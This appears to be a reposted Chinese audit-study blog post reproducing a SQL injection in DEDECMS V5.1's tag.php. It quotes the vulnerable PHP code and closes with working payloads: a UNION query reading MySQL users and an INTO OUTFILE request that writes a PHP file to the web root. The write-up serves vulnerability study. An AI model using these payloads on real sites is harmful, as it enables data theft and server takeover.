DEDECMS V5.1 审计学习
Posted xsr7yer
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了DEDECMS V5.1 审计学习相关的知识,希望对你有一定的参考价值。
阅读书籍:《黑客脚本全本》、第240页、关于dedecms v5.1 tag.php 注入漏洞复现问题。
书中作者这个漏洞复现有些不正确、
#0x01
文件/tag.php
if(isset($_SERVER["QUERY_STRING"])){ $tag = trim($_SERVER["QUERY_STRING"]); //query_string (查询字符串),如果有的话,通过进行页面访问。 $tags = explode(‘/‘,$tag); // 通过‘/‘来分隔数据成数组 $tag = $tags[1]; //输出$tags数组第1个等于$tag if(count($tags)>3) $PageNo = intval($tags[2]); }else{ $tag = ""; } $tag = urldecode($tag); //$tag 进行一次url解码。 //如果没有Tag或Tag不合法,显示所有Tag if($tag=="" || $tag!=addslashes($tag) ){ $dlist = new TagList($tag,‘tag.htm‘); } //如果有Tag,显示文档列表 else{ $dlist = new TagList($tag,‘taglist.htm‘); } $dlist->Display();
跟进TagList函数:
function TagList($keyword,$templet){ $this->__construct($keyword,$templet); }
跟进__construct 构造函数:
function __construct($keyword,$templet) { $this->Templet = $templet; $this->Tag = $keyword; $this->dsql = new DedeSql(false); $this->dtp = new DedeTagParse(); $this->dtp->SetNameSpace("dede","{","}"); $this->dtp2 = new DedeTagParse(); $this->dtp2->SetNameSpace("field","[","]"); $this->TypeLink = new TypeLink(0); $this->Fields[‘tag‘] = $keyword; $this->Fields[‘position‘] = " ".$keyword; $this->Fields[‘title‘] = " 标签:{$keyword} "; $this->TempletsFile = ‘‘; //设置一些全局参数的值 foreach($GLOBALS[‘PubFields‘] as $k=>$v) $this->Fields[$k] = $v; $this->PartView = new PartView(0); //读取Tag信息 if($this->Tag!=‘‘) { $this->TagInfos = $this->dsql->GetOne("Select * From `#@__tag_index` where tagname like ‘{$this->Tag}‘ "); if(!is_array($this->TagInfos)) { $fullsearch = $GLOBALS[‘cfg_phpurl‘]."/search.php?keyword=".$this->Tag."&searchtype=titlekeyword"; $msg = "系统无此标签,可能已经移除!<br /><br />你还可以尝试通过搜索程序去搜索这个关键字:<a href=‘$fullsearch‘>前往搜索>></a>"; ShowMsgWin($msg,"<a href=‘tag.php‘>Tag标签</a> >> 错误提示"); $this->dsql->Close(); exit(); } $this->TagID = $this->TagInfos[‘id‘]; } //初始化模板 $tempfile = $GLOBALS[‘cfg_basedir‘].$GLOBALS[‘cfg_templets_dir‘]."/".$GLOBALS[‘cfg_df_style‘].‘/‘.$this->Templet; if(!file_exists($tempfile)||!is_file($tempfile)){ echo "模板文件:‘".$tempfile."‘ 不存在,无法解析文档!"; exit(); } $this->dtp->LoadTemplate($tempfile); $this->TempletsFile = ereg_replace("^".$GLOBALS[‘cfg_basedir‘],‘‘,$tempfile); }
$tag过程:
$tag -> $keyword -> GetOne("Select * From `#@__tag_index` where tagname like ‘{$this->Tag}‘ ")
经过一次urldecode解码以后直接带入数据库查询。
#0x02
书中提示思路、url二次编码绕过GPC限制,根据本地验证:
$tag = trim($_SERVER[‘QUERY_STRING‘]); //$tag = trim($_GET[‘tag‘]); echo $tag . ‘<br />‘; $tags = explode(‘/‘, $tag); //var_dump($tags); $tag = $tags[‘1‘]; echo $tag . ‘<br />‘; echo urldecode($tag);
书中给出的方法使用多个环境复现都是如此、不知是个人环境和配置问题还是:
url二次转义%27 带入数据库中直接被‘‘闭合在其中未正常的注入。
根据前辈们的其他相关信息获得如下解释:
$_SERVER 不受到GPC影响,所以无需利用二次编码。
直接单引号->浏览器自动会做一次url转码->然后再通过程序自带的urldecode解码。
#0x03
构造payload:
tag.php?tag=1/TommieTommie‘ union select 1,user(),3,4,5,6,7,8,9 from mysql.user %23/1/1
备份写shell:
tag.php?tag=1/1waaa2‘ union select 1,2,0x3C003F00700068007000200070006800700069006E0066006F00280029003B003F003E00,4,5,6,7,8,9 into outfile ‘C:%2FphpStudy%2FWWW%2Fdedecmsv51-utf8%2Fupload%2F1.php‘ %23/1/1
以上是关于DEDECMS V5.1 审计学习的主要内容,如果未能解决你的问题,请参考以下文章